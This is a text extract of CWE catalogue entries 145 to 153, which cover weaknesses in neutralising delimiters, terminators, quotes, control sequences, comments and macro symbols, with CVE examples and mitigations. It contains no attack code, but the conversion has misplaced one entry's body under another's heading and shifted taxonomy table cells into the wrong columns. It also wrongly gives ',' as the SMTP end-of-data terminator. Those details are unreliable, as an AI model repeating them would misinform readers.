<td>Linebreak in field of PHP script allows admin privileges when written to data file.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td>⚫</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

### Relationship Notes

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Line Delimiter</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS03-J</td>
<td>Do not log unsanitized user input</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

### References


## CWE-145: Improper Neutralization of Section Delimiters

**Weakness ID:** 145 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All
Common Consequences

Integrity
Unexpected state

Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td>🌐</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>1000</td>
<td>172</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌐</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699</td>
<td>287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌐</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
</tbody>
</table>

Relationship Notes

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Section Delimiter</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References
CWE-146: Improper Neutralization of Expression/Command Delimiters

Weakness ID: 146 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Availability
Other
• Execute unauthorized code or commands
• Alter execution logic

Potential Mitigations
Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11

CWE-147: Improper Neutralization of Input Terminators

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✓</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>✔</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Delimiter between Expressions or Commands</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
</tbody>
</table>

References


CWE-147: Improper Neutralization of Input Terminators

Weakness ID: 147 (Weakness Variant) Status: Draft

Description
Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description
For example, a "," in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0319</td>
<td>MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.</td>
</tr>
<tr>
<td>CVE-2000-0320</td>
<td>MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.</td>
</tr>
<tr>
<td>CVE-2001-0996</td>
<td>Mail server does not quote end-of-input terminator if it appears in the middle of a message.</td>
</tr>
<tr>
<td>CVE-2002-0001</td>
<td>Improperly terminated comment or phrase allows commands.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
Time of Introduction
• Implementation

Common Consequences
  Integrity
  Unexpected state

Potential Mitigations
Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP24</td>
<td>Input Leader</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-149: Improper Neutralization of Quoting Syntax

Weakness ID: 149 (Weakness Variant) Status: Draft

Description

Summary
Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

**Time of Introduction**
- Implementation

**Common Consequences**
- Integrity
  - Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1016</td>
<td>MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.</td>
</tr>
<tr>
<td>CVE-2004-0956</td>
<td>Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍇</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>🍇</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

**Weakness ID:** 150 *(Weakness Variant)*  
**Status:** Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.

#### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

### Time of Introduction

- Implementation

### Applicable Platforms

- **Languages**
  - All

### Common Consequences

- **Integrity**
- **Unexpected state**

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0476</td>
<td>Terminal escape sequences not filtered by terminals when displaying files.</td>
</tr>
<tr>
<td>CVE-2000-0703</td>
<td>Setuid program does not filter escape sequences before calling mail program.</td>
</tr>
<tr>
<td>CVE-2001-1556</td>
<td>MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.</td>
</tr>
<tr>
<td>CVE-2002-0542</td>
<td>The mail program processes special &quot;~&quot; escape sequence even when not in interactive mode.</td>
</tr>
<tr>
<td>CVE-2002-0986</td>
<td>Mail function does not filter control characters from arguments, allowing mail message content to be modified.</td>
</tr>
<tr>
<td>CVE-2003-0020</td>
<td>Multi-channel issue. Terminal escape sequences not filtered from log files.</td>
</tr>
<tr>
<td>CVE-2003-0021</td>
<td>Terminal escape sequences not filtered by terminals when displaying files.</td>
</tr>
<tr>
<td>CVE-2003-0022</td>
<td>Terminal escape sequences not filtered by terminals when displaying files.</td>
</tr>
<tr>
<td>CVE-2003-0023</td>
<td>Terminal escape sequences not filtered by terminals when displaying files.</td>
</tr>
<tr>
<td>CVE-2003-0063</td>
<td>Terminal escape sequences not filtered by terminals when displaying files.</td>
</tr>
<tr>
<td>CVE-2003-0083</td>
<td>Multi-channel issue. Terminal escape sequences not filtered from log files.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

---

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Quoting Element</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th><em>(CAPEC Version 2.10)</em></th>
</tr>
</thead>
<tbody>
<tr>
<td>468</td>
<td>Generic Cross-Browser Cross-Domain Theft</td>
<td></td>
</tr>
</tbody>
</table>
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699 284</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844 1295</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS03-J</td>
<td>Escape, Meta, or Control Character / Sequence</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Do not log unsanitized user input</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>41</td>
<td>Using Meta-characters in E-mail Headers to Inject Malicious Payloads</td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
</tr>
<tr>
<td>93</td>
<td>Log Injection-Tampering-Forging</td>
</tr>
</tbody>
</table>

CWE-151: Improper Neutralization of Comment Delimiters

Weakness ID: 151 (Weakness Variant) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0001</td>
<td>Mail client command execution due to improperly terminated comment in address list.</td>
</tr>
<tr>
<td>CVE-2004-0162</td>
<td>MIE. RFC822 comment fields may be processed as other fields by clients.</td>
</tr>
<tr>
<td>CVE-2004-1686</td>
<td>Well-placed comment bypasses security warning.</td>
</tr>
<tr>
<td>CVE-2005-1909</td>
<td>Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow &quot;&lt;!--&quot; while denying most other tags.</td>
</tr>
<tr>
<td>CVE-2005-1969</td>
<td>Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow &quot;&lt;!--&quot; while denying most other tags.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11
CWE-152: Improper Neutralization of Macro Symbols

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>o</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Comment Element</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-152: Improper Neutralization of Macro Symbols

Weakness ID: 152 (Weakness Variant) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0770</td>
<td>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</td>
</tr>
<tr>
<td>CVE-2008-2018</td>
<td>Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
</tr>
<tr>
<td></td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Macro Symbol</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-153: Improper Neutralization of Substitution Characters

Weakness ID: 153 (Weakness Variant) Status: Draft

Description
Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.
CWE Version 2.11
CWE-153: Improper Neutralization of Substitution Characters

